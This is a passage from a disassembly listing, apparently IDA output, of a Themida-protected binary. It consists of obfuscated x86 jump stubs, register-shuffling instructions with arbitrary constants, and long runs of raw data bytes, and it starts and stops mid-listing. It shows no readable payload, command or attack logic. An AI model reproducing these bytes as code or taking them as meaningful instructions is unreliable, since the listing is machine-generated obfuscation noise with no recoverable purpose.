0E6C10000h dd 8BF68106h, 811B8B5Bh, 4D73BAEEh, 0DEF74656h, 0C89CC681h dd 0F2319C4Ch, 8324348Bh, 0F7E904C4h db 0F9h, 2 dup(0) byte_59106F db 66h ; DATA XREF: Themida_:0058E174o dd 5224048Bh, 0C281E289h, 4, 0BEFFE9h, 6710BA00h, 96E91E8Ch dd 560000D6h, 0B60622BEh, 0D8EE811Ch, 5369965Ah, 0E32A26BBh dd 5BDE3179h, 0CB96F681h, 6C81F218h, 5F8F0824h, 740150C0h dd 44810824h, 5F8F0824h, 15E50C0h, 83042474h, 348904ECh dd 4AFABE24h, 742938E4h, 5E5E0824h, 8124148Bh, 4C4h, 440E900h dd 0C7810000h, 4, 0E9243C87h, 9BB9h, 4C481h, 0DB680000h dd 89000027h, 0ACE9240Ch, 0C1FFFFD7h, 0BB5307EEh, 0F18D597Dh dd 40E9DE29h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59110F: ; CODE XREF: Themida_:00599B67j mov [esp], esi push esp pop esi jmp loc_59E764 ; --------------------------------------------------------------------------- db 5Eh, 81h, 6Ch dd 776F0824h, 54017388h, 44810824h, 776F0824h, 295A7388h dd 81042454h, 4E04246Ch, 8B710627h, 0AEE92414h, 8900011Ch dd 5EE9242Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59114B: ; CODE XREF: Themida_:00591E0Cj mov eax, [esp] add esp, 4 shr ebp, 5 or ebp, 24025F54h add ebp, 5F40383Bh sub esp, 4 mov [esp], ebx jmp loc_59E5B2 ; --------------------------------------------------------------------------- dw 0EF01h dd 6262EF81h, 835D4866h, 3C8704C7h, 48F5C24h, 24248B24h dd 0E904EC83h, 0F545h, 0D5E95750h, 890000E7h, 405E0h, 0C0830000h dd 24048704h, 0C346E9h db 0 ; --------------------------------------------------------------------------- loc_5911A5: ; CODE XREF: Themida_:005A10E6j sub ah, 0B6h xor bh, ah pop eax not bh jmp loc_596574 ; --------------------------------------------------------------------------- dw 0C781h dd 71C4479Fh, 24048B5Bh, 9EC7E9h, 0F5015D00h, 679FE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5911CA: ; CODE XREF: Themida_:00591A45j xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59F0CB ; --------------------------------------------------------------------------- dd 240C8B66h, 348B5456h, 4C48324h, 45685753h, 5F772104h dd 199FE9h, 0FFC73000h, 9FE92434h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5911FB: ; CODE XREF: Themida_:0059E50Bj xchg eax, [esp] pop esp mov [esp], eax jmp loc_59AF18 ; --------------------------------------------------------------------------- db 89h dd 0E9565EF5h, 0E54h, 0BB241C89h, 0EBE69ABh, 0FFDDB8E9h dd 59CD29FFh, 2A6DE9h, 0D8E95F00h, 53FFFFECh, 11151E9h db 0 ; --------------------------------------------------------------------------- loc_591231: ; CODE XREF: Themida_:00593504j sub esp, 4 mov [esp], ecx push ebp push ecx mov ecx, 494C3C43h mov ebp, ecx pop ecx push esi jmp loc_5999FD ; --------------------------------------------------------------------------- db 57h dd 0EF55B6BFh, 0E9FA8966h, 9510h, 207F83h, 24C840Fh, 0CD680000h dd 89000004h, 3BBB241Ch, 0E93D2203h, 11AFFh, 290BF781h dd 0F8014016h, 81243C8Bh, 4C4h, 4C08300h, 0E9240487h, 2EBCh dd 0CD81EDD1h, 5F24B36h, 7C33ED81h, 814D73B3h, 75158F5h dd 5DEB0197h, 70E9DF89h, 0C100004Bh, 8CE908E7h, 81000031h dd 4C3h, 241C8700h, 4C4815Ch, 83000000h, 143302C2h, 24143124h dd 8B241433h, 0F662424h, 9C2404B3h, 0FFD076E9h, 0F70159FFh dd 0BED6E9h db 0 ; --------------------------------------------------------------------------- loc_5912E5: ; CODE XREF: Themida_:0059866Bj add esp, 4 push ecx mov ecx, 218E3242h add ecx, 206E68A2h sub ecx, 0FFFFFFFFh push 0 sub [esp], ecx jmp loc_59F444 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C6810000h, 4, 5C243487h, 5245E9h, 0C3814B00h dd 0D5E461BFh, 54FDE9h, 242C8B00h, 4C481h, 0C1810000h dd 2, 0E9240C33h, 3528h, 0E9241C31h, 0FFFFD007h, 0B159EF88h dd 8BF930A9h, 0C483241Ch, 45F18004h, 0F608E1C0h, 0A0C180D9h dd 0F48AE9h, 69B05000h, 0BC0C7104h, 0DEFDE952h, 0D8E9FFFFh dd 68FFFFCFh, 44CAh, 89241489h, 85BE56E2h, 0D1413563h dd 4EE81EEh, 0E9143B5Dh, 40E5h, 4B850h, 0BF570000h, 52026B58h dd 3DC7814Fh, 0E9DB9DEDh, 52C9h, 644DE951h, 0C7810000h dd 28D72531h, 0BD55CF01h, 28D72531h, 555DEF29h, 9D44FBBDh dd 0E9EF297Bh, 53C2h, 0C5E9AAB3h, 89000053h, 0E389241Ch dd 0FFD5ECE9h, 240C8BFFh, 5E04C483h, 57EF8957h, 55240481h dd 59506433h, 3355BD55h, 0E9295064h, 5B01E9h, 241C8700h dd 0C717E9h, 0E9EA2000h, 11119h ; --------------------------------------------------------------------------- loc_591414: ; CODE XREF: Themida_:0058FD4Aj pop esp mov ebx, edi mov edi, [esp] jmp loc_59BB09 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFCF2Fh ; --------------------------------------------------------------------------- loc_591424: ; CODE XREF: Themida_:0059788Ej xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_58E353 ; --------------------------------------------------------------------------- dw 9DBEh dd 46408D60h, 4D3ECE81h, 6FE95FF2h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591443: ; CODE XREF: Themida_:0059CF21j neg bh inc bh push eax mov ah, 0Ch jmp loc_5A10E0 ; --------------------------------------------------------------------------- db 0Fh dd 8B66C0B6h, 2E92414h, 1000110h, 0BA5253E8h, 5D6A3D60h dd 936ABD55h, 0EB8999F6h, 0D376E95Dh, 0DA890000h, 62F3E9h dd 0F6815E00h, 669B0A55h, 5E6C15Ah, 0F681D6F7h, 452A3C25h dd 2FBAF681h, 815614BCh, 21EA2404h, 815B66AFh, 0AF21EAEBh dd 24348B66h, 4C481h, 0A9680000h, 89000045h, 0E189240Ch dd 4C181h, 0E9E90000h, 0C10000B8h, 0E6C107EEh, 0EEEE8103h dd 81AAD5CEh, 7E5006C3h, 81F32975h, 7E5006EBh, 0EB815E75h dd 5591729Ah, 5556EB81h, 0C3293911h, 5556C381h, 71683911h dd 89000044h, 29BD242Ch, 83415A2Eh, 0F74DFFC5h, 9DE951D5h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591507: ; CODE XREF: Themida_:005999D5j shl ebx, 1 jmp loc_5A2BF9 ; --------------------------------------------------------------------------- dw 5358h dd 0C0CDB551h, 0B25202EDh, 0F867E9EEh, 5653FFFFh, 0D8E5E9h dd 81E3D100h, 0F05924C3h, 5BDE3190h, 1083E681h, 0E6C16289h dd 84C68107h, 89FF77BEh, 0B65AE9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591546: ; CODE XREF: Themida_:00594EC4j add ebp, 4 xchg ebp, [esp] pop esp and eax, ebx jmp loc_592584 ; --------------------------------------------------------------------------- dword_591554 dd 240C8B66h, 37D868h, 24048900h, 4107E9h, 0E9D0F700h ; DATA XREF: Themida_:0058E12Co dd 18B5h ; --------------------------------------------------------------------------- loc_59156C: ; CODE XREF: Themida_:0059C4C8j pop esp mov [esp], edi push ebx mov ebx, 13C87B75h mov edi, 6F8D3629h xor edi, ebx pop ebx jmp loc_59E287 ; --------------------------------------------------------------------------- a1Zs db '1ÕZéÝ!',0 db 0 ; --------------------------------------------------------------------------- loc_59158B: ; CODE XREF: Themida_:005995FBj sub al, bh add al, 8Fh push bx mov bh, 42h add al, 67h sub al, bh sub al, 67h pop bx jmp loc_5984C8 ; --------------------------------------------------------------------------- dd 0E952E689h, 8F0h, 5C241433h, 6602EC83h, 51241C89h, 79E2E9h dd 24348A00h, 8004C483h, 0EE80A6F6h, 5AF1289Ch, 0E9h, 59C80000h dd 10E3EE9h db 0 byte_5915D5 db 0ADh, 68h, 1Ah ; DATA XREF: Themida_:0058E1A0o dd 89000024h, 90B9240Ch, 2943360Bh, 0D30559C8h, 0E913290Ch dd 48B1h, 0E9F32959h, 8B71h, 0D742E952h, 5451FFFFh, 4C18159h dd 52000000h, 0A84A1DBAh, 0E9424A1Fh, 1C14h, 15BDF01h dd 10EF81CFh, 59014E06h, 0AF72E9h db 0 ; --------------------------------------------------------------------------- loc_591625: ; CODE XREF: Themida_:0059882Bj add dh, cl jmp loc_5A2B4F ; --------------------------------------------------------------------------- dd 8104E3C1h, 3652BEEBh, 29EA81A9h, 1164452h, 29C281DAh dd 8B164452h, 0C483241Ch, 24143304h, 33241431h, 248B2414h dd 4096624h, 0F4E99C24h, 89FFFFCCh, 4C181E1h, 83000000h dd 0C8704C1h, 24248B24h, 4EC8355h, 83242489h, 5D042404h dd 4C581h, 0C6E90000h, 2D000045h, 68BE5230h, 0FFC50159h dd 81582434h, 4C4h, 77F3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59169E: ; CODE XREF: Themida_:00593EFFj push dword ptr [esp] pop ecx push edi jmp loc_595A1F ; --------------------------------------------------------------------------- loc_5916A8: ; CODE XREF: Themida_:0059FF03j pop ecx sub eax, 4 jmp loc_59C4C5 ; --------------------------------------------------------------------------- db 5Eh dd 10B3EE9h, 24048900h, 0AB0675B8h, 0B7AE971h db 1, 0 ; --------------------------------------------------------------------------- loc_5916C6: ; CODE XREF: Themida_:0059EC0Ej push eax mov eax, 2A092957h jmp loc_5936A2 ; --------------------------------------------------------------------------- loc_5916D1: ; CODE XREF: Themida_:0058F535j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, 47762526h push eax mov eax, 68F01A04h mov edi, 0DE860B26h jmp loc_592CCC ; --------------------------------------------------------------------------- aSgk db '[飪',0 align 2 dw 0C601h dd 4BF0E958h, 0D3890000h, 0A0C9E95Ah, 2C8B0000h, 4C48124h dd 0E9000000h, 0A8C4h, 4CBF5750h, 0B8667F2Ah, 0EFEF1268h dd 0C15FF801h, 0AE0D06E8h, 0C17B5436h, 0B5E902E0h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591737: ; CODE XREF: Themida_:005993B2j mov edx, 2Ch add edx, 7D9A76D0h sub edx, 8587B1Dh add edx, 419D1FF8h jmp loc_5A1B0F ; --------------------------------------------------------------------------- db 50h dd 287661B8h, 0CF46E90Fh, 0C6810000h, 4, 4EE81h, 9FE90000h dd 810000E1h, 917510E5h, 0F7CD8731h, 6FCBE9D1h, 4CBB0000h dd 0C151446Ch, 0ADE908E3h, 5400010Bh, 8124148Bh, 4C4h dd 66E95700h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59179B: ; CODE XREF: Themida_:005A0973j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59807E ; --------------------------------------------------------------------------- db 59h dd 8704C383h, 0BDE9241Ch, 5F000050h, 93DAE9h, 815E5400h dd 4C6h, 4C68300h, 4EC81h, 34890000h, 7D05E924h, 58050000h dd 9743AC6Eh, 0BF78158h, 10A7560h, 2434FFFBh, 81243C8Bh dd 4C4h, 4C48300h, 4EC81h, 4890000h, 4B824h, 0BE560000h dd 6337809h, 0D4C1E94Eh, 4BEFFFFh, 81000000h, 0ED042444h dd 1046E5Eh, 0E9042474h, 0C62Ah, 56240489h, 424758BEh dd 0E6F68130h, 0C10FFC64h, 0D6E903E6h, 6800002Fh, 41BEh dd 9BBDE9h, 53F18100h, 1A26D5Ah, 0E95F59C8h, 0F905h, 0E99C5166h dd 0FFFFCAF3h, 89240C89h, 0E9CB89D9h, 0FFFFF1E1h, 5C24048Fh dd 6EBE68h, 24148900h, 0AB71E9h, 8AE95800h, 81000084h dd 0B13813F3h, 6A9E929h, 34870000h, 34895C24h, 49B6BE24h dd 0EEC161B6h, 0C1DEF706h, 0D6F708E6h, 699C681h, 0F0297DB2h dd 8124348Bh, 4C4h, 0E1895100h, 4C181h, 0E9810000h, 4 dd 5C240C87h, 51241489h, 5F1E4368h, 240C8B2Ch, 0FFB9E9h dd 58C32900h, 8B241C87h, 0E9542424h, 0A790h, 8B54555Dh dd 0C483242Ch, 11BD6804h, 1C890000h, 4958E924h, 0DF310000h dd 0DF87DBF7h, 5302E7C1h, 0F775D0BBh, 8BDF013Ah, 0C483241Ch dd 8BFD0104h, 0C481243Ch, 4, 2B850h, 92E90000h, 33FFFFD9h dd 248B2404h, 0CFF6624h, 0BCE99C24h, 8800005Ah, 0EF885BFDh dd 34FF5A59h, 33C2E924h, 0C310000h, 240C3324h, 6039685Ch dd 70E90000h, 83000051h, 0E0D101C0h, 0FFD6B8E9h, 0CFEF81FFh dd 14A7B15h, 0CFC781DFh, 0FF4A7B15h, 835B2434h, 3C3304C4h dd 243C3124h, 8B243C33h, 3B662424h, 0F3E99CC8h, 0B90000BDh dd 4, 8759CE29h, 248B2434h, 242C8924h, 2419BDh, 0ED814D45h dd 0FFFFFFFFh, 5702E5C1h, 0DEE9E789h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5919B7: ; CODE XREF: Themida_:0059F91Bj push eax mov eax, 60B553FEh neg eax xor eax, 88B4D49Dh add ebp, 45DA002Fh add ebp, eax sub ebp, 45DA002Fh pop eax jmp loc_599C42 ; --------------------------------------------------------------------------- dd 0A71ECEB9h, 0D6FAE93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5919E2: ; CODE XREF: Themida_:0059B669j or edx, 361D4589h jmp loc_58FEF0 ; --------------------------------------------------------------------------- loc_5919ED: ; CODE XREF: Themida_:0059AF90j neg eax push ebp mov ebp, 5F9A0CDFh not ebp inc ebp jmp loc_59E896 ; --------------------------------------------------------------------------- loc_5919FD: ; CODE XREF: Themida_:00595E93j add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 7A0F1BC1h shr esi, 4 jmp loc_5A1938 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4C3h, 241C3300h, 0C373E9h, 2E6CBA00h, 542902CBh dd 148B0824h, 4C48324h, 9F4FE9h db 0 ; --------------------------------------------------------------------------- loc_591A41: ; CODE XREF: Themida_:005926F7j pop edi add esp, 4 jmp loc_5911CA ; --------------------------------------------------------------------------- loc_591A4A: ; CODE XREF: Themida_:0058EE18j pop esi push edi push 26F61C9Eh jmp loc_59F5D7 ; --------------------------------------------------------------------------- word_591A56 dw 8B66h ; DATA XREF: Themida_:0058E2E0o dd 8957240Ch, 4A968E7h, 4890000h, 46824h, 55580000h, 7E5A68h dd 24148900h, 2D0278BAh, 0E2CAE911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591A7E: ; CODE XREF: Themida_:0058E7FBj mov ebp, 71870B1h push 0 sub [esp], ebp pop ebp and ebp, 77AB65F4h add ebp, 3EEA5848h neg ebp sub esp, 4 mov [esp], ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 add ebp, 292771F7h add edi, ebp push dword ptr [esp] jmp loc_5948F4 ; --------------------------------------------------------------------------- dd 4EC8356h, 5944E9h, 51EA2900h, 41216FB9h, 55C98110h dd 0C16B5921h, 0E98106E9h, 18150E4Dh, 4F2AF181h, 0CA29C6C0h dd 0F2E95D59h, 81000113h, 431427EBh, 0FFDD0101h, 835B2434h dd 1C8904ECh, 0E8C4E924h, 0C4810000h, 4, 3AC68h, 240C8900h dd 200B9h, 8BC82100h, 0EC83240Ch, 243C8904h, 8304EC83h dd 248904ECh, 24048324h, 24048F04h, 4240481h, 5F000000h dd 4EC81h, 2C890000h, 933E924h, 0C4830001h, 1286E904h dd 2ABB0001h, 21133E62h, 0F1815BD9h, 617E75EDh, 8102E1C1h dd 0E55EEAE9h, 59CF8973h, 0C0D0E9h, 24048F00h, 0FF2434FFh dd 81582434h, 4ECh, 240C8900h, 240C8B54h, 4C481h, 0C1810000h dd 4, 4EC81h, 34890000h, 4F63BE24h, 0BD555529h, 7C4F3A5Eh dd 0EEE9EE01h, 5C000078h, 0C104E1C1h, 0E98102E9h, 651D5C24h dd 4AD8C181h, 0E9816E67h, 10130558h, 3D09E951h, 83580000h dd 348904ECh, 8B1E924h db 1, 0 ; --------------------------------------------------------------------------- loc_591BD6: ; CODE XREF: Themida_:0059E04Bj xor ebp, 390B4567h add edi, ebp pop ebp add edi, 2D5D6518h jmp loc_59BB90 ; --------------------------------------------------------------------------- a0Psq db '0ÃPéï\',0 align 2 dw 0C483h dd 2B85004h, 81000000h, 0F6713DC2h, 81C20112h, 0F6713DEAh dd 415EE912h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591C0E: ; CODE XREF: Themida_:005A1B61j push ecx mov ecx, 67425B1h sub ecx, 73043F47h jmp loc_5995C3 ; --------------------------------------------------------------------------- db 88h dd 877488EEh, 24148B01h, 8B04C483h, 0C483240Ch, 2434FF04h dd 81241C8Bh, 4C4h, 4C48100h, 0E9000000h, 0FFFFC70Bh ; --------------------------------------------------------------------------- loc_591C48: ; CODE XREF: Themida_:005A0E3Bj pop edi push edi mov edi, 2FC120AEh shr edi, 6 or edi, 6E282997h xor edi, 6EBF2D93h sub ebp, 151319Eh jmp loc_58EB02 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 8924248Bh, 0D2E9240Ch, 28000079h, 0E91C2CD8h, 0CA11h dd 5EF2895Fh, 0FFEA46E9h db 0FFh ; --------------------------------------------------------------------------- loc_591C89: ; CODE XREF: Themida_:0059D4B1j push 41842968h pop edi jmp loc_599050 ; --------------------------------------------------------------------------- dd 8107EDC1h, 0F21DD2F5h, 0BEED8146h, 13057A4h, 0AAE95DE8h dd 6600008Ah, 0CAB15152h, 0CA28E3B2h, 66D00059h, 280E2C5Ah dd 510E04D8h, 0FE27B252h, 29C280CAh, 53E9D188h, 830000E3h dd 0EEE904C4h, 5700010Ch, 0FFFA3BE9h, 24048FFFh, 5E3FE9h dd 30CDB000h, 0E95866C2h, 0ACFEh, 5AF18858h, 950EE9h db 0 ; --------------------------------------------------------------------------- loc_591CF9: ; CODE XREF: Themida_:005936DDj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_591CFE: ; CODE XREF: Themida_:00596A00j mov [esp], edi push edx jmp loc_59B664 ; --------------------------------------------------------------------------- db 5Ah dd 8159CE09h, 1C7D9DF6h, 5EEE947h db 1, 0 word_591D16 dw 8B66h ; DATA XREF: Themida_:0058E28Co db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_599D8B ; --------------------------------------------------------------------------- loc_591D23: ; CODE XREF: Themida_:005995C4j mov ebx, 45B31BB3h sub ebx, 724656E2h xor ecx, ebx mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A3178 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0EA810000h, 18733933h, 0FFCDB4E9h, 4C781FFh, 87000000h dd 32E9243Ch, 5500001Ch, 3008D8BDh, 0DCF5816Ch, 16C3008h dd 0FF535DEBh, 8B042474h, 5768241Ch, 89000065h, 0E954243Ch dd 2C6Ch ; --------------------------------------------------------------------------- loc_591D88: ; CODE XREF: Themida_:005963B7j sub ebp, 1C2C19E1h add ebp, eax add ebp, 1C2C19E1h pop eax add ebp, 4 jmp loc_599545 ; --------------------------------------------------------------------------- align 10h dd 0F4805BFCh, 2EC836Ah, 241C8966h, 0D3F6E388h, 5B66DC88h dd 895B353h, 0DDE95BDCh, 5700008Bh, 4BFh, 0FFF80100h, 835F2434h dd 0C08304C4h, 24048704h, 9080E9h, 2434FF00h, 5B0DE9h db 0 ; --------------------------------------------------------------------------- loc_591DE1: ; CODE XREF: Themida_:005A24E9j mov edx, 266D57D6h xor ecx, edx pop edx mov edi, ecx push dword ptr [esp] jmp loc_58E6CB ; --------------------------------------------------------------------------- db 89h dd 41E959CFh, 89000011h, 8741E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591E02: ; CODE XREF: Themida_:0059BED5j mov edi, 34107CF5h mov eax, edi pop edi mov ebp, eax jmp loc_59114B ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0C10D49BBh, 8BD98904h, 0C481241Ch, 4, 22E0B850h, 44297A62h dd 1580824h, 8104244Ch, 0E0042444h, 0E97A6222h, 4079h ; --------------------------------------------------------------------------- loc_591E40: ; CODE XREF: Themida_:0058FFEDj push 34E6h mov [esp], ebx jmp loc_593B73 ; --------------------------------------------------------------------------- db 5Bh, 1, 0C2h dd 0E1895158h, 4C181h, 0E9830000h, 237E904h, 0CA810000h dd 7E1E63CEh, 0AD685753h, 5F0EDB5Dh, 8108EFC1h, 9D50C5C7h dd 0D5CEE927h, 0E2810000h, 6E629D8h, 8103E2C1h, 214EC4F2h dd 0F19DE925h, 0E95C0000h, 0FFFFDBD2h, 4BAh, 5AD60100h dd 4C681h, 34870000h, 3C875C24h, 24248B24h, 990DE9h, 0BEE8000h dd 0CD27E9h, 59CF0100h, 0E88E9h db 0 ; --------------------------------------------------------------------------- loc_591EC5: ; CODE XREF: Themida_:0059EE9Cj xor [esp], edx xor edx, [esp] jmp loc_59FCF5 ; --------------------------------------------------------------------------- loc_591ED0: ; CODE XREF: Themida_:00596192j add esp, 4 push eax mov eax, 9F919A6h neg eax jmp loc_595905 ; --------------------------------------------------------------------------- db 81h dd 764CBEF5h, 0C94DE919h, 89660000h, 5352241Ch, 8D1FE952h dd 0B9BD0000h, 4D455355h, 2474F581h, 0ED813FD0h, 1BFA632Fh dd 4B71CD81h, 0BE565BBAh, 5FBB4FF9h, 26E9F531h, 810000CEh dd 4C3h, 5A47E900h, 0BB530000h, 772E6933h, 8FE9D801h, 81000060h dd 238141C3h, 0ABEAE9BAh, 0E95A0000h, 7B57h ; --------------------------------------------------------------------------- loc_591F48: ; CODE XREF: Themida_:0059902Bj mov edx, 0DF8576Fh jmp loc_5985AB ; --------------------------------------------------------------------------- dw 8151h dd 60772434h, 1E92955h, 57000025h, 0B951E789h, 173B0DADh dd 4759C181h, 0C9817C0Eh, 60D37BA5h, 0DAAEE9h, 61636800h dd 34890000h, 3365E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591F86: ; CODE XREF: Themida_:0059F963j push edi mov edi, 61E73299h push edi xor dword ptr [esp], 0EF90373h pop edx jmp loc_59CC4B ; --------------------------------------------------------------------------- loc_591F9A: ; CODE XREF: Themida_:00595D1Cj pop eax mov eax, ecx pop ecx mov esi, eax pop eax push edi mov edi, 0FCA9E1A2h add esi, edi pop edi add edx, 1EDF41F3h sub edx, esi sub edx, 1EDF41F3h jmp loc_5A30FE ; --------------------------------------------------------------------------- db 29h, 0E8h, 83h dd 1C8904ECh, 79F4BB24h, 0D8292326h, 83241C8Bh, 55D04C4h dd 6A6B62ADh, 0EC268h, 24148900h, 0EC2C4868h, 0D0015A36h dd 8324148Bh, 0EC8304C4h, 242C8904h, 84E9E589h, 310000FCh dd 0F2815DEAh, 0FEEEF29Fh, 0E95AD101h, 0F9E1h, 0ED10E9C3h dd 0D300FFFFh, 80E3285Ah, 58660AEBh, 0FFC0B60Fh, 34FF8734h dd 0EEA0E924h, 0BB53FFFFh, 6535180Fh, 4DCE953h, 0C7810000h dd 3B304A7Dh, 14E4EF81h, 9BE977D3h db 0Bh, 2 dup(0) byte_592047 db 0FFh ; DATA XREF: Themida_:0058E2FCo dd 669D1C77h, 241CD259h, 0C2FDE99Ch, 348BFFFFh, 4C48324h dd 0E924048Fh, 1112Bh, 9C595FBEh, 5EF2899Dh, 2FE9EA29h dd 5B000010h, 0B551D800h, 508CE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59207E: ; CODE XREF: Themida_:005A108Bj mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] jmp loc_5944B3 ; --------------------------------------------------------------------------- db 0B4h, 19h, 53h dd 0FFF33BE9h, 240C87FFh, 240C895Ch, 2B9h, 0E1895100h dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BB241C89h, 5FEB01EFh dd 1EE9DA01h, 280000D9h, 0E2EB80C3h, 2D6866h, 24048966h dd 0B252DAB4h, 0F6CAFE4Eh, 0F6E280D2h, 0E9A8EA80h, 0FFFFFF2Ah ; --------------------------------------------------------------------------- loc_5920E8: ; CODE XREF: Themida_:0059A7ADj add esp, 4 push eax push 7642h mov [esp], ecx mov ecx, 4FC05B8Ah xor ecx, 7A342116h add ecx, 4C97BB8h jmp loc_58EEEB ; --------------------------------------------------------------------------- word_59210A dw 0C8Bh ; DATA XREF: Themida_:0058E278o dd 0C0E95324h, 8900010Dh, 4C681E6h, 83000000h, 0E95604C6h dd 0FFFFE2BCh, 8D10E996h, 0C4810000h, 4, 37EC68h, 14D8E900h dd 0EE830000h, 74FF5604h, 8F5E0424h, 0E95C2404h, 108B7h dd 1CF75759h, 0EF67E924h, 0C6810000h, 15807A4Fh, 5004E6C1h dd 5DDBE9h, 59C80100h, 50E9E829h, 8100008Fh, 4E3FDFEBh dd 0E9D32963h, 9662h, 2F7CBE66h, 36EE8166h, 2F24E935h dd 0C1810000h, 4, 4C181h, 0E9510000h, 0FFFFEE85h, 2AE9535Eh dd 550000B1h, 0DD173268h, 0E9555D6Ah, 8151h, 734EBA66h dd 24540166h, 665A6602h, 0EF81665Fh, 6658734Eh, 6604EFC1h dd 579AF781h, 66D7F766h, 57FFEF83h, 0BB53E789h, 4, 835BDF01h dd 3C8704EFh, 0BFD1E924h, 0D5F70000h, 0E907E5C1h, 4355h dd 0FFC6815Bh, 0F7FFFFFFh, 0D2E681D6h, 81451E35h, 9CCE22EEh dd 66242DB4h, 0F0011682h, 0CA4E9h, 4EC8100h, 89000000h dd 0EE92434h, 310000E8h, 4332404h, 0F9F65C24h, 0CCB60F66h dd 515B5453h, 0DA4732B9h, 92E94123h, 81000098h, 4C6h, 4EE8300h dd 5C243487h, 68242489h, 6014h, 0BB241C89h, 4, 4245C01h dd 81241C8Bh, 4C4h, 2434FF00h, 8B2434FFh, 0C481241Ch, 4 dd 6804C483h, 5227h, 89241489h, 47BF57E2h, 0F70FAE0Dh dd 3EFC1D7h, 2EFDCF81h, 0C7816150h, 58C5127Dh, 5178F781h dd 0FA01D81Fh, 4C2815Fh, 33000000h, 14312414h, 24143324h dd 4C3815Ch, 52000000h, 2BAh, 0FFD30100h, 815A2434h, 4C4h dd 241C8700h, 6624248Bh, 5024048Bh, 0A4685854h, 89000045h dd 0B8BA2414h, 81717F07h, 0FFFFFFC2h, 83D2F7FFh, 966801C2h dd 8900002Ch, 0CFBD242Ch, 214E8364h, 0F107E9EAh, 0E2810000h dd 3F625E7Dh, 93F2814Ah, 31F369E0h, 0F3315AD6h, 0FFD9015Eh dd 1C8B2434h, 4C48324h, 6804C483h, 3F0Ch, 3F35E9h db 0 ; --------------------------------------------------------------------------- loc_592331: ; CODE XREF: Themida_:0059DEE6j push esi jmp loc_59C8F2 ; --------------------------------------------------------------------------- db 1 dd 0DC94E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59233E: ; CODE XREF: Themida_:005A0917j push ebx push edx pop ebx jmp loc_5A00E5 ; --------------------------------------------------------------------------- dw 0CF29h dd 592434FFh, 4C481h, 3C330000h, 243C3124h, 0FFE427E9h dd 2DF801FFh, 53677D88h, 2534692Dh, 0A6BD5522h, 817FF237h dd 0ADE7AFC5h, 0FBB0E996h, 1BDFFFFh, 0E9000000h, 9CE8h dd 9435D268h, 68555F78h, 43DD0912h, 83242C8Bh, 45BE04C4h dd 31908A1Ch, 0C6815DEEh, 263D2400h, 0BB53FE29h, 263D2400h dd 0A3E2E9h, 2434FF00h, 3EFF6859h, 0C890000h, 50E18924h dd 0B65E8BB8h, 6E6C351Ah, 96E96702h, 54FFFFF1h, 0E92434FFh dd 869Fh, 53240489h, 0B40BE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5923E2: ; CODE XREF: Themida_:0059954Bj add al, bl add al, 0D5h push ecx mov cl, 78h neg cl sub cl, 27h sub al, cl mov ecx, [esp] add esp, 4 push ecx mov ch, 26h push 24C7h mov [esp], ebx mov bh, 0D1h sub al, 27h jmp loc_58E84F ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 5 dd 0D9FEC281h, 0D589A48Ch, 0F3EE95Ah, 0ED810000h, 280F1DB3h dd 0E0EB815Ah, 13BE830h, 0E0C381EBh, 5D3BE830h, 487F6852h dd 0C890000h, 47685224h, 5A357A1Ah, 5A31E9h db 0 byte_592449 db 8Bh, 4, 24h ; DATA XREF: Themida_:0058E0A8o dd 83E08950h, 348904ECh, 4541BE24h, 0C6816D16h, 106C307Ah dd 75FBE9h, 71EF8100h, 292A7A79h, 71C781EFh, 0FF2A7A79h dd 0E95D2434h, 0FFFFBEE8h ; --------------------------------------------------------------------------- loc_59247C: ; CODE XREF: Themida_:0059A47Fj pop ecx add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_58E353 ; --------------------------------------------------------------------------- aAQsZ db '€Êï麇',0 db 0 ; --------------------------------------------------------------------------- loc_592493: ; CODE XREF: Themida_:0059272Aj push 32C50872h pop eax and eax, 5F171141h add eax, 0FFFFFFFFh jmp loc_5A1041 ; --------------------------------------------------------------------------- dw 0EAC1h dd 0C8C28105h, 292BF818h, 0D53FE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5924B6: ; CODE XREF: Themida_:00594EABj xor ebp, [esp] xor [esp], ebp jmp loc_59FB35 ; --------------------------------------------------------------------------- db 80h, 0E9h, 9Ch dd 0E9F2E980h, 8767h, 0BD242C89h, 